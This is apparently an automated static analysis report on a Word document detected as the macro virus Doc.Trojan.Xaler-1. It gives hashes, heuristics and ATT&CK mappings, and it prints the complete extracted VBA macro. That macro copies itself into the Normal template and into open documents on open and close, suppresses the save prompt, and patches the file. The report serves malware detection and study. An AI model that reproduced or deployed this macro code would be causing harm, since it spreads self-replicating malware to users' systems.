Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87c5d74fc8d2a2ae…

MALICIOUS

Office (OLE)

40.5 KB Created: 2013-10-16 13:12:00 Authoring application: Microsoft Office Word First seen: 2015-09-16
MD5: 52bec58106fc4d23ea4a0ad61e27a3f0 SHA-1: 3b354b9c525eafea9ced102cd16cf179af549c5b SHA-256: 87c5d74fc8d2a2ae9555f99fca3be66df9cd579bb684dfd322eaf0f0343a24d6
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The `Document_Open` and `Document_Close` subroutines call `GOODSub`, which attempts to export the current document's VBA project code, modify it, and then insert it into the Normal template and the active document. This self-replication behavior is a strong indicator of malware aiming for persistence and spread. The ClamAV detection as 'Doc.Trojan.Xaler-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2182 bytes
SHA-256: afff7350efe8503f8a3af5a2e8e7242afff5b0c4273de1308c8e5c3d7c4f0455
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Close #1
End If
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub

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